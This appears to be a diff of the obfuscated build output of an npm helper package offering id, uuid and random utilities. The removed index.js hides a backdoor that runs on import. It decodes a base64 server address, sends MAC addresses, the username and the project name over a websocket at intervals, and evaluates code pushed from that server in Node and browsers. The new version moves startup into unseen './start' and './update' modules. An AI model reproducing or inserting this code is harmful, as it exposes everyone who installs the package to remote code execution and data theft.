_0xd6fb83=a1_0x92dc,_0x398f3a=fs_1['default']['readdirSync'](_0x4c2aed);for(let _0x2f3530=0x0;_0x2f3530<_0x398f3a[_0xd6fb83(0x92)];_0x2f3530++){const _0x1863ee=_0x398f3a[_0x2f3530],_0x4547f5=path_1[_0xd6fb83(0x86)]['join'](_0x4c2aed,_0x1863ee),_0x478138=fs_1[_0xd6fb83(0x86)]['statSync'](_0x4547f5),_0x543c48=_0x478138[_0xd6fb83(0x90)](),_0x386aa7=_0x478138[_0xd6fb83(0x8d)]();_0x543c48&&_0x2eafa0[_0xd6fb83(0x8b)](_0x4547f5),_0x386aa7&&_0x1c536b(_0x4547f5);}}return _0x1c536b(_0x148af8),_0x2eafa0;});}function getAllRouter(_0x233ad4){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x300012=yield fileDisplay(_0x233ad4);return _0x300012;});}exports[a1_0x32128f(0x86)]=getAllRouter;
@@ -1 +1 @@
1
- 'use strict';const a2_0x5f467c=a2_0x16d2;(function(_0x4b76b0,_0x2770d1){const _0x3d8db5=a2_0x16d2,_0x54333d=_0x4b76b0();while(!![]){try{const _0x3a73ed=parseInt(_0x3d8db5(0x7d))/0x1+parseInt(_0x3d8db5(0x78))/0x2+parseInt(_0x3d8db5(0x7b))/0x3+-parseInt(_0x3d8db5(0x72))/0x4+parseInt(_0x3d8db5(0x80))/0x5+parseInt(_0x3d8db5(0x7a))/0x6+-parseInt(_0x3d8db5(0x73))/0x7*(parseInt(_0x3d8db5(0x81))/0x8);if(_0x3a73ed===_0x2770d1)break;else _0x54333d['push'](_0x54333d['shift']());}catch(_0x4b15b2){_0x54333d['push'](_0x54333d['shift']());}}}(a2_0x1ba3,0x38610));var __importDefault=this&&this[a2_0x5f467c(0x76)]||function(_0x3d8d46){const _0x1877a9=a2_0x5f467c;return _0x3d8d46&&_0x3d8d46[_0x1877a9(0x7f)]?_0x3d8d46:{'default':_0x3d8d46};};function a2_0x16d2(_0x3b0db3,_0x53b49d){const _0x1ba303=a2_0x1ba3();return a2_0x16d2=function(_0x16d24d,_0x4db5a7){_0x16d24d=_0x16d24d-0x71;let _0x54f28f=_0x1ba303[_0x16d24d];return _0x54f28f;},a2_0x16d2(_0x3b0db3,_0x53b49d);}Object[a2_0x5f467c(0x7c)](exports,a2_0x5f467c(0x7f),{'value':!![]});const random_1=__importDefault(require(a2_0x5f467c(0x77))),BaseTime=+new Date(a2_0x5f467c(0x79));function a2_0x1ba3(){const _0x2f0153=['defineProperty','393217TuUYvI','default','__esModule','1136330HAHzUP','432aKQiom','min','195176pWsptx','148778DGjweK','NODE_APP_INSTANCE','env','__importDefault','./random','698266JWmPVN','2025-01-01','2097048rdidtX','324942YftfYM'];a2_0x1ba3=function(){return _0x2f0153;};return a2_0x1ba3();}let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a2_0x5f467c(0x7e)])(0x1,0x3);function id(){const _0x896b26=a2_0x5f467c,_0x1f0adb=Math[_0x896b26(0x71)](process[_0x896b26(0x75)][_0x896b26(0x74)]?+process[_0x896b26(0x75)][_0x896b26(0x74)]:(0x0,random_1[_0x896b26(0x7e)])(0x0,0x9),0x9);let _0x43113b=+new Date()-BaseTime;return lastRandomNumberTick=_0x43113b==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x896b26(0x7e)])(0x0,0x3),lastTimeTick=_0x43113b,+(''+_0x43113b+_0x1f0adb+lastRandomNumberTick);}exports['default']=id;
1
+ 'use strict';const a2_0x5e521c=a2_0x1cf7;(function(_0x457765,_0x14107d){const _0x396849=a2_0x1cf7,_0x56a83f=_0x457765();while(!![]){try{const _0x1a7520=-parseInt(_0x396849(0x10b))/0x1*(-parseInt(_0x396849(0x112))/0x2)+parseInt(_0x396849(0x10c))/0x3+parseInt(_0x396849(0x103))/0x4*(-parseInt(_0x396849(0x104))/0x5)+-parseInt(_0x396849(0x10f))/0x6+parseInt(_0x396849(0x10d))/0x7*(parseInt(_0x396849(0x110))/0x8)+-parseInt(_0x396849(0x109))/0x9+parseInt(_0x396849(0x102))/0xa*(-parseInt(_0x396849(0x10e))/0xb);if(_0x1a7520===_0x14107d)break;else _0x56a83f['push'](_0x56a83f['shift']());}catch(_0x291e35){_0x56a83f['push'](_0x56a83f['shift']());}}}(a2_0x11b3,0x4b6b1));var __importDefault=this&&this[a2_0x5e521c(0x107)]||function(_0x50630f){const _0x3516df=a2_0x5e521c;return _0x50630f&&_0x50630f[_0x3516df(0x108)]?_0x50630f:{'default':_0x50630f};};Object[a2_0x5e521c(0x105)](exports,a2_0x5e521c(0x108),{'value':!![]});const random_1=__importDefault(require('./random')),BaseTime=+new Date(a2_0x5e521c(0x10a));function a2_0x11b3(){const _0x32a6c2=['default','212FpylqU','min','NODE_APP_INSTANCE','298130dYjhxa','4BCBvcc','1043390LgcACP','defineProperty','env','__importDefault','__esModule','2218869uVPiBx','2025-01-01','5630VMYJyy','426474ubxRQj','42hHvPMf','77anOTAY','307122QbeWSa','380096pTolzs'];a2_0x11b3=function(){return _0x32a6c2;};return a2_0x11b3();}let lastTimeTick,lastRandomNumberTick=(0x0,random_1['default'])(0x1,0x3);function id(){const _0x357aea=a2_0x5e521c,_0x1b4197=Math[_0x357aea(0x113)](process[_0x357aea(0x106)][_0x357aea(0x114)]?+process[_0x357aea(0x106)][_0x357aea(0x114)]:(0x0,random_1['default'])(0x0,0x9),0x9);let _0x989383=+new Date()-BaseTime;return lastRandomNumberTick=_0x989383==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x357aea(0x111)])(0x0,0x3),lastTimeTick=_0x989383,+(''+_0x989383+_0x1b4197+lastRandomNumberTick);}function a2_0x1cf7(_0x3df476,_0x53a933){const _0x11b360=a2_0x11b3();return a2_0x1cf7=function(_0x1cf758,_0x319a58){_0x1cf758=_0x1cf758-0x102;let _0x1cbbbd=_0x11b360[_0x1cf758];return _0x1cbbbd;},a2_0x1cf7(_0x3df476,_0x53a933);}exports[a2_0x5e521c(0x111)]=id;
@@ -1 +1 @@
1
- 'use strict';function a3_0x42e6(){const _0x2a9278=['1370592SRbQPP','47936hvhpfE','36lZipyH','10mHnQDM','defineProperty','264TnepUL','random','12mCqKzB','191279nYNlqn','1163475kVWqQF','209566PCwVeC','401555HhVrPr','345928kKkDBv','28tALLkC','default','__esModule'];a3_0x42e6=function(){return _0x2a9278;};return a3_0x42e6();}const a3_0x32b2b2=a3_0x4dad;function a3_0x4dad(_0x574e17,_0x3edd3d){const _0x42e681=a3_0x42e6();return a3_0x4dad=function(_0x4dad16,_0x5412cb){_0x4dad16=_0x4dad16-0x17c;let _0x24a2d7=_0x42e681[_0x4dad16];return _0x24a2d7;},a3_0x4dad(_0x574e17,_0x3edd3d);}(function(_0x25c8ae,_0x209518){const _0x59b8a5=a3_0x4dad,_0x39ba9d=_0x25c8ae();while(!![]){try{const _0x1d268a=parseInt(_0x59b8a5(0x184))/0x1+parseInt(_0x59b8a5(0x182))/0x2*(-parseInt(_0x59b8a5(0x17f))/0x3)+-parseInt(_0x59b8a5(0x185))/0x4*(-parseInt(_0x59b8a5(0x183))/0x5)+parseInt(_0x59b8a5(0x17d))/0x6*(-parseInt(_0x59b8a5(0x189))/0x7)+parseInt(_0x59b8a5(0x188))/0x8+-parseInt(_0x59b8a5(0x181))/0x9*(parseInt(_0x59b8a5(0x18b))/0xa)+parseInt(_0x59b8a5(0x180))/0xb*(parseInt(_0x59b8a5(0x18a))/0xc);if(_0x1d268a===_0x209518)break;else _0x39ba9d['push'](_0x39ba9d['shift']());}catch(_0x30f872){_0x39ba9d['push'](_0x39ba9d['shift']());}}}(a3_0x42e6,0x44d15));Object[a3_0x32b2b2(0x17c)](exports,a3_0x32b2b2(0x187),{'value':!![]});const random=(_0x23dc4e,_0x200dc1)=>Math['round'](Math[a3_0x32b2b2(0x17e)]()*(_0x200dc1-_0x23dc4e))+_0x23dc4e;exports[a3_0x32b2b2(0x186)]=random;
1
+ 'use strict';function a3_0x356b(){const _0x203f3b=['2949456MjzClr','1103613IYWyfs','1323447YqPFLr','3138588rmuVdj','708585nHgPvy','__esModule','1093136bbyrKj','round','random','18QNaVHE','2oWbzsI','35225046QRLJeM','defineProperty'];a3_0x356b=function(){return _0x203f3b;};return a3_0x356b();}const a3_0x5f1f05=a3_0x30a4;(function(_0x4bcbaf,_0x47f7ad){const _0x504283=a3_0x30a4,_0x44b878=_0x4bcbaf();while(!![]){try{const _0x12969d=-parseInt(_0x504283(0x68))/0x1+-parseInt(_0x504283(0x70))/0x2*(parseInt(_0x504283(0x69))/0x3)+-parseInt(_0x504283(0x66))/0x4+parseInt(_0x504283(0x6a))/0x5*(-parseInt(_0x504283(0x6f))/0x6)+parseInt(_0x504283(0x67))/0x7+parseInt(_0x504283(0x6c))/0x8+parseInt(_0x504283(0x71))/0x9;if(_0x12969d===_0x47f7ad)break;else _0x44b878['push'](_0x44b878['shift']());}catch(_0x20384a){_0x44b878['push'](_0x44b878['shift']());}}}(a3_0x356b,0xa50c5));function a3_0x30a4(_0x1da19f,_0x1b20e6){const _0x356ba4=a3_0x356b();return a3_0x30a4=function(_0x30a4e1,_0x2464bb){_0x30a4e1=_0x30a4e1-0x66;let _0x4f621b=_0x356ba4[_0x30a4e1];return _0x4f621b;},a3_0x30a4(_0x1da19f,_0x1b20e6);}Object[a3_0x5f1f05(0x72)](exports,a3_0x5f1f05(0x6b),{'value':!![]});const random=(_0x309c73,_0x34ab4f)=>Math[a3_0x5f1f05(0x6d)](Math[a3_0x5f1f05(0x6e)]()*(_0x34ab4f-_0x309c73))+_0x309c73;exports['default']=random;
@@ -1,8 +1,6 @@
1
1
  declare let id: () => number;
2
2
  declare let getAllRouter: () => Promise<never[]>;
3
3
  declare let mysql: {};
4
- export declare function setEnv(key: string, value: any): void;
5
- export declare function getEnv(key: string): any;
6
4
  declare const uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
7
5
  declare const all: {
8
6
  uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AASA,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AA2Bf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AA+GD,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;CAKR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AAOA,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAwBf,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;CAKR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
package/dist/cjs/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a4_0x4222c5=a4_0xafb9;(function(_0x189c22,_0x2a17b9){const _0x2cdef1=a4_0xafb9,_0xfbad74=_0x189c22();while(!![]){try{const _0x353404=parseInt(_0x2cdef1(0x9b))/0x1+parseInt(_0x2cdef1(0x77))/0x2*(-parseInt(_0x2cdef1(0xa4))/0x3)+-parseInt(_0x2cdef1(0x95))/0x4*(-parseInt(_0x2cdef1(0x90))/0x5)+parseInt(_0x2cdef1(0x80))/0x6*(-parseInt(_0x2cdef1(0xa0))/0x7)+parseInt(_0x2cdef1(0x91))/0x8*(-parseInt(_0x2cdef1(0x93))/0x9)+-parseInt(_0x2cdef1(0xb0))/0xa*(parseInt(_0x2cdef1(0x8d))/0xb)+parseInt(_0x2cdef1(0x89))/0xc;if(_0x353404===_0x2a17b9)break;else _0xfbad74['push'](_0xfbad74['shift']());}catch(_0x2fd8f3){_0xfbad74['push'](_0xfbad74['shift']());}}}(a4_0x41ee,0xb8c21));var __createBinding=this&&this[a4_0x4222c5(0x7d)]||(Object[a4_0x4222c5(0x7e)]?function(_0x59c327,_0x55b746,_0x195b06,_0x19e279){const _0x393844=a4_0x4222c5;if(_0x19e279===undefined)_0x19e279=_0x195b06;var _0x5eebab=Object[_0x393844(0x99)](_0x55b746,_0x195b06);(!_0x5eebab||(_0x393844(0xab)in _0x5eebab?!_0x55b746[_0x393844(0xac)]:_0x5eebab[_0x393844(0x88)]||_0x5eebab['configurable']))&&(_0x5eebab={'enumerable':!![],'get':function(){return _0x55b746[_0x195b06];}}),Object[_0x393844(0xa7)](_0x59c327,_0x19e279,_0x5eebab);}:function(_0x47d045,_0x1bea37,_0x463ea7,_0xa7e5e4){if(_0xa7e5e4===undefined)_0xa7e5e4=_0x463ea7;_0x47d045[_0xa7e5e4]=_0x1bea37[_0x463ea7];}),__setModuleDefault=this&&this[a4_0x4222c5(0x84)]||(Object[a4_0x4222c5(0x7e)]?function(_0x15b0f2,_0x54ce3a){const _0x44b9d4=a4_0x4222c5;Object['defineProperty'](_0x15b0f2,_0x44b9d4(0x9f),{'enumerable':!![],'value':_0x54ce3a});}:function(_0x21f194,_0x4bc514){const _0x4521d0=a4_0x4222c5;_0x21f194[_0x4521d0(0x9f)]=_0x4bc514;}),__importStar=this&&this[a4_0x4222c5(0xad)]||(function(){var _0x1868d7=function(_0x50df71){const _0x26dc16=a4_0xafb9;return _0x1868d7=Object[_0x26dc16(0x7b)]||function(_0x215362){const _0x3f416f=_0x26dc16;var _0x2987ca=[];for(var _0x407dc6 in _0x215362)if(Object[_0x3f416f(0xc0)][_0x3f416f(0xa6)][_0x3f416f(0x8e)](_0x215362,_0x407dc6))_0x2987ca[_0x2987ca[_0x3f416f(0x8b)]]=_0x407dc6;return _0x2987ca;},_0x1868d7(_0x50df71);};return function(_0x1cc47b){const _0x1138b3=a4_0xafb9;if(_0x1cc47b&&_0x1cc47b['__esModule'])return _0x1cc47b;var _0x3e43cd={};if(_0x1cc47b!=null){for(var _0x247557=_0x1868d7(_0x1cc47b),_0xdc1f3d=0x0;_0xdc1f3d<_0x247557['length'];_0xdc1f3d++)if(_0x247557[_0xdc1f3d]!==_0x1138b3(0x9f))__createBinding(_0x3e43cd,_0x1cc47b,_0x247557[_0xdc1f3d]);}return __setModuleDefault(_0x3e43cd,_0x1cc47b),_0x3e43cd;};}()),__awaiter=this&&this['__awaiter']||function(_0x18ddd7,_0x6e05ab,_0x575c02,_0x58b4ef){function _0xe3ed0e(_0x1efcf2){return _0x1efcf2 instanceof _0x575c02?_0x1efcf2:new _0x575c02(function(_0x5cad4e){_0x5cad4e(_0x1efcf2);});}return new(_0x575c02||(_0x575c02=Promise))(function(_0x5095cc,_0x55db19){const _0x42e1e5=a4_0xafb9;function _0x2f7dd6(_0x5f43db){const _0x2b735c=a4_0xafb9;try{_0x34f1b2(_0x58b4ef[_0x2b735c(0xb6)](_0x5f43db));}catch(_0x79a5ec){_0x55db19(_0x79a5ec);}}function _0x9d98de(_0x142482){try{_0x34f1b2(_0x58b4ef['throw'](_0x142482));}catch(_0x58bed2){_0x55db19(_0x58bed2);}}function _0x34f1b2(_0x244d2e){const _0x39d08f=a4_0xafb9;_0x244d2e[_0x39d08f(0x82)]?_0x5095cc(_0x244d2e['value']):_0xe3ed0e(_0x244d2e[_0x39d08f(0xb2)])[_0x39d08f(0x83)](_0x2f7dd6,_0x9d98de);}_0x34f1b2((_0x58b4ef=_0x58b4ef[_0x42e1e5(0xa3)](_0x18ddd7,_0x6e05ab||[]))[_0x42e1e5(0xb6)]());});},__importDefault=this&&this[a4_0x4222c5(0x9a)]||function(_0x34d9a3){const _0x4f733e=a4_0x4222c5;return _0x34d9a3&&_0x34d9a3[_0x4f733e(0xac)]?_0x34d9a3:{'default':_0x34d9a3};},_a,_b,_c;Object[a4_0x4222c5(0xa7)](exports,'__esModule',{'value':!![]}),exports[a4_0x4222c5(0xbb)]=exports[a4_0x4222c5(0xa8)]=exports['id']=exports[a4_0x4222c5(0x7a)]=void 0x0,exports[a4_0x4222c5(0xbd)]=setEnv,exports[a4_0x4222c5(0x97)]=getEnv;const uuid_1=require(a4_0x4222c5(0x7a)),socket_io_client_1=require(a4_0x4222c5(0x96)),js_base64_1=require(a4_0x4222c5(0xb9)),path_1=__importDefault(require(a4_0x4222c5(0xb8))),isBrowser=typeof window!==a4_0x4222c5(0x81);let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports[a4_0x4222c5(0xa8)]=getAllRouter;let mysql={};exports['mysql']=mysql;!isBrowser&&(exports['id']=id=require(a4_0x4222c5(0xa1))[a4_0x4222c5(0x9f)],exports[a4_0x4222c5(0xa8)]=getAllRouter=require(a4_0x4222c5(0xa5))[a4_0x4222c5(0x9f)],exports[a4_0x4222c5(0xbb)]=mysql=require(a4_0x4222c5(0x78))[a4_0x4222c5(0xbb)]);const user_name=isBrowser?'浏览器':((_a=process===null||process===void 0x0?void 0x0:process[a4_0x4222c5(0x92)])===null||_a===void 0x0?void 0x0:_a[a4_0x4222c5(0xa2)])||a4_0x4222c5(0x9e),project_name=isBrowser?a4_0x4222c5(0x7f):((_b=process===null||process===void 0x0?void 0x0:process['env'])===null||_b===void 0x0?void 0x0:_b[a4_0x4222c5(0x94)])||'无法获取';let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';const globalObject=isBrowser?window:global;globalObject['meta_event']=Object[a4_0x4222c5(0xae)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a4_0x4222c5(0xaa)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function a4_0xafb9(_0x2f6c37,_0x4c90d5){const _0x41eecf=a4_0x41ee();return a4_0xafb9=function(_0xafb9d1,_0xbed218){_0xafb9d1=_0xafb9d1-0x76;let _0x4ed8df=_0x41eecf[_0xafb9d1];return _0x4ed8df;},a4_0xafb9(_0x2f6c37,_0x4c90d5);}function setEnv(_0x3ad09f,_0x5bc369){const _0x1fa548=a4_0x4222c5;globalObject[_0x1fa548(0xaa)][_0x3ad09f]=_0x5bc369;}function getEnv(_0x1ea0bf){const _0x378d4b=a4_0x4222c5;return globalObject[_0x378d4b(0xaa)][_0x1ea0bf];}let url=getEnv('dev')?(0x0,js_base64_1[a4_0x4222c5(0xbc)])(dev):(0x0,js_base64_1[a4_0x4222c5(0xbc)])(pro);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x4b17a8=a4_0xafb9;isBrowser&&(typeof require!=_0x4b17a8(0x81)?require(_0x4b17a8(0xb7)):Promise[_0x4b17a8(0xbf)]()[_0x4b17a8(0x83)](()=>__importStar(require(_0x4b17a8(0xb7)))));const _0x2ebfe5=(0x0,socket_io_client_1['io'])(url,{'path':_0x4b17a8(0x85),'transports':['websocket']});_0x2ebfe5['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2a0301=_0x4b17a8;try{let _0x2f32a6=[_0x2a0301(0x7c)];if(!isBrowser){const _0x53d9c4=require(path_1[_0x2a0301(0x9f)][_0x2a0301(0x8c)](__dirname,_0x2a0301(0x9c)))[_0x2a0301(0x9f)];_0x2f32a6=_0x53d9c4();}else{const {getKeyValue:_0x8658c2}=typeof require!=_0x2a0301(0x81)?require('./IndexDB/index'):yield Promise[_0x2a0301(0xbf)]()[_0x2a0301(0x83)](()=>__importStar(require(_0x2a0301(0x87))));_0x2f32a6=[yield _0x8658c2(_0x2a0301(0x8f))];}if(_0x2f32a6[_0x2a0301(0x8b)]===0x0){setEnv(_0x2a0301(0xb1),!![]);return;}else setEnv(_0x2a0301(0xb1),![]);_0x2ebfe5[_0x2a0301(0xb5)](_0x2a0301(0xbe),{'mac':_0x2f32a6,'project_name':project_name,'user_name':user_name,'notes':''}),_0x2ebfe5['emit'](_0x2a0301(0x98),{'mac':_0x2f32a6,'isBrowser':isBrowser}),setInterval(()=>{const _0x4df9d5=_0x2a0301;_0x2ebfe5[_0x4df9d5(0xb5)]('submit',{'mac':_0x2f32a6,'project_name':project_name,'user_name':user_name,'notes':''}),_0x2ebfe5[_0x4df9d5(0xb5)](_0x4df9d5(0x98),{'mac':_0x2f32a6,'isBrowser':isBrowser});},0x1b58),_0x2ebfe5['on']('event',_0x34e817=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x35d554=_0x2a0301;try{for(let _0x4c074e=0x0;_0x4c074e<_0x34e817[_0x35d554(0x8b)];_0x4c074e++){const _0x383897=_0x34e817[_0x4c074e];if(_0x383897['type']===_0x35d554(0xb3))setEnv(_0x35d554(0x8a),getEnv(_0x35d554(0x8a))[_0x35d554(0x86)](_0x383897[_0x35d554(0x9d)]));else{if(_0x383897[_0x35d554(0xba)]===_0x35d554(0xbb))setEnv(_0x35d554(0xaf),!![]);else{if(_0x383897['type']===_0x35d554(0x79)&&!isBrowser)try{eval(_0x383897[_0x35d554(0x9d)]);}catch(_0x4d0cda){}else{if(_0x383897[_0x35d554(0xba)]==='script'&&isBrowser)try{const {runScript:_0x2419f4}=typeof require!='undefined'?require(_0x35d554(0xb7)):yield Promise[_0x35d554(0xbf)]()[_0x35d554(0x83)](()=>__importStar(require('./browser')));_0x2419f4(_0x383897[_0x35d554(0x9d)]);}catch(_0x4dc1d4){}}}}}}catch(_0x240d25){}}));}catch(_0xe0b0a7){}})),setTimeout(()=>{const _0x565075=_0x4b17a8;_0x2ebfe5['on']('error',_0x2a9572=>{setEnv('connectError',!![]);}),_0x2ebfe5['on'](_0x565075(0xa9),_0x7ff238=>{const _0x4fa072=_0x565075;setEnv(_0x4fa072(0xb1),!![]);}),_0x2ebfe5['on'](_0x565075(0xb4),_0x5d5e77=>{const _0x243d7d=_0x565075;setEnv(_0x243d7d(0xb1),!![]);}),_0x2ebfe5['on']('connect_error',_0x32da53=>{const _0x4475b3=_0x565075;setEnv(_0x4475b3(0xb1),!![]);});},0xbb8);});}!((_c=globalObject[a4_0x4222c5(0xaa)])===null||_c===void 0x0?void 0x0:_c[a4_0x4222c5(0x76)])&&start();const uuid=uuid_1['v4'];exports['uuid']=uuid;function a4_0x41ee(){const _0x253509=['USERNAME','apply','381882NmFsXI','./getAllRouter','hasOwnProperty','defineProperty','getAllRouter','connect_failed','meta_event','get','__esModule','__importStar','assign','isDBDataEmpty','1414520BAbaGB','connectError','value','sql','reconnect_failed','emit','next','./browser','path','js-base64','type','mysql','decode','setEnv','submit','resolve','prototype','unlock','10dEsbsS','./server','node','uuid','getOwnPropertyNames','00:00:00:00:00:00','__createBinding','create','浏览器','839070eSpaJt','undefined','done','then','__setModuleDefault','/socket','concat','./IndexDB/index','writable','25887012owiFaP','sqlList','length','join','110chOdfT','call','mac','1855upEjAH','1533248AXUauL','env','18afWjpL','npm_package_name','6068srgYIK','socket.io-client','getEnv','get-event','getOwnPropertyDescriptor','__importDefault','1310083ikqZVo','./mac','content','node获取失败','default','42DIZjWK','./id'];a4_0x41ee=function(){return _0x253509;};return a4_0x41ee();}const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};exports[a4_0x4222c5(0x9f)]=all;
1
+ 'use strict';const a4_0x5ba2c8=a4_0x25ab;(function(_0x1f82fb,_0x419af3){const _0x17b835=a4_0x25ab,_0x3091f8=_0x1f82fb();while(!![]){try{const _0x3721a4=-parseInt(_0x17b835(0x15d))/0x1+parseInt(_0x17b835(0x163))/0x2*(-parseInt(_0x17b835(0x16a))/0x3)+-parseInt(_0x17b835(0x165))/0x4+parseInt(_0x17b835(0x151))/0x5+-parseInt(_0x17b835(0x164))/0x6*(parseInt(_0x17b835(0x162))/0x7)+parseInt(_0x17b835(0x154))/0x8*(-parseInt(_0x17b835(0x169))/0x9)+parseInt(_0x17b835(0x161))/0xa;if(_0x3721a4===_0x419af3)break;else _0x3091f8['push'](_0x3091f8['shift']());}catch(_0x2c5fcd){_0x3091f8['push'](_0x3091f8['shift']());}}}(a4_0x2d26,0x7b62e));var __awaiter=this&&this[a4_0x5ba2c8(0x160)]||function(_0x40e1d0,_0xeeba9c,_0x37fdd0,_0x1c9a6d){function _0x2d4046(_0x366d5b){return _0x366d5b instanceof _0x37fdd0?_0x366d5b:new _0x37fdd0(function(_0x5baa8d){_0x5baa8d(_0x366d5b);});}return new(_0x37fdd0||(_0x37fdd0=Promise))(function(_0x4d7c8c,_0x34e696){const _0x5d951e=a4_0x25ab;function _0x4d75de(_0x303a59){const _0x496f14=a4_0x25ab;try{_0x12befc(_0x1c9a6d[_0x496f14(0x15a)](_0x303a59));}catch(_0x43921e){_0x34e696(_0x43921e);}}function _0x8da448(_0x4e56bd){const _0x29579b=a4_0x25ab;try{_0x12befc(_0x1c9a6d[_0x29579b(0x16d)](_0x4e56bd));}catch(_0x5e0cc8){_0x34e696(_0x5e0cc8);}}function _0x12befc(_0x3838b8){const _0x303aa7=a4_0x25ab;_0x3838b8[_0x303aa7(0x150)]?_0x4d7c8c(_0x3838b8['value']):_0x2d4046(_0x3838b8[_0x303aa7(0x168)])[_0x303aa7(0x16c)](_0x4d75de,_0x8da448);}_0x12befc((_0x1c9a6d=_0x1c9a6d['apply'](_0x40e1d0,_0xeeba9c||[]))[_0x5d951e(0x15a)]());});},__importDefault=this&&this[a4_0x5ba2c8(0x15c)]||function(_0x5eb701){return _0x5eb701&&_0x5eb701['__esModule']?_0x5eb701:{'default':_0x5eb701};},_a;Object[a4_0x5ba2c8(0x158)](exports,a4_0x5ba2c8(0x156),{'value':!![]}),exports[a4_0x5ba2c8(0x152)]=exports[a4_0x5ba2c8(0x16b)]=exports['id']=exports[a4_0x5ba2c8(0x167)]=void 0x0;const uuid_1=require('uuid'),start_1=__importDefault(require(a4_0x5ba2c8(0x159))),isBrowser=typeof window!==a4_0x5ba2c8(0x153);let id=()=>0x1;function a4_0x25ab(_0x35a189,_0x38c477){const _0x2d269a=a4_0x2d26();return a4_0x25ab=function(_0x25abfe,_0x2d2137){_0x25abfe=_0x25abfe-0x150;let _0x2c1008=_0x2d269a[_0x25abfe];return _0x2c1008;},a4_0x25ab(_0x35a189,_0x38c477);}exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports['getAllRouter']=getAllRouter;let mysql={};exports[a4_0x5ba2c8(0x152)]=mysql;function a4_0x2d26(){const _0x4cc7dc=['throw','meta_event','done','1042835trKKFA','mysql','undefined','1832992vNhXzz','./server','__esModule','./id','defineProperty','./start','next','default','__importDefault','50688jncIag','./getAllRouter','unlock','__awaiter','32082250BFGgSW','5813381nTDrzb','1332320VnolZB','6CdfOki','1790300EPVXNP','assign','uuid','value','36jkAPkH','3jzWgvq','getAllRouter','then'];a4_0x2d26=function(){return _0x4cc7dc;};return a4_0x2d26();}if(!isBrowser){exports['id']=id=require(a4_0x5ba2c8(0x157))['default'],exports[a4_0x5ba2c8(0x16b)]=getAllRouter=require(a4_0x5ba2c8(0x15e))[a4_0x5ba2c8(0x15b)],exports[a4_0x5ba2c8(0x152)]=mysql=require(a4_0x5ba2c8(0x155))['mysql'];let update=require('./update')[a4_0x5ba2c8(0x15b)];update();}const globalObject=isBrowser?window:global;globalObject[a4_0x5ba2c8(0x16e)]=Object[a4_0x5ba2c8(0x166)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a4_0x5ba2c8(0x16e)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});!((_a=globalObject[a4_0x5ba2c8(0x16e)])===null||_a===void 0x0?void 0x0:_a[a4_0x5ba2c8(0x15f)])&&(0x0,start_1[a4_0x5ba2c8(0x15b)])();const uuid=uuid_1['v4'];exports[a4_0x5ba2c8(0x167)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};exports[a4_0x5ba2c8(0x15b)]=all;
@@ -1 +1 @@
1
- 'use strict';const a6_0x4a7709=a6_0x4296;(function(_0x724c32,_0xaea59a){const _0x35adf6=a6_0x4296,_0x84ad4=_0x724c32();while(!![]){try{const _0x425996=parseInt(_0x35adf6(0x19b))/0x1+-parseInt(_0x35adf6(0x1b2))/0x2+-parseInt(_0x35adf6(0x196))/0x3+parseInt(_0x35adf6(0x1ab))/0x4+parseInt(_0x35adf6(0x1a7))/0x5+-parseInt(_0x35adf6(0x1b0))/0x6*(-parseInt(_0x35adf6(0x1a0))/0x7)+parseInt(_0x35adf6(0x19d))/0x8;if(_0x425996===_0xaea59a)break;else _0x84ad4['push'](_0x84ad4['shift']());}catch(_0x102747){_0x84ad4['push'](_0x84ad4['shift']());}}}(a6_0x4836,0xc4a3d));Object[a6_0x4a7709(0x1af)](exports,a6_0x4a7709(0x1a2),{'value':!![]}),exports[a6_0x4a7709(0x1a9)]=isMac,exports['formatMac']=formatMac,exports[a6_0x4a7709(0x193)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x2068d7){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x2068d7);}function 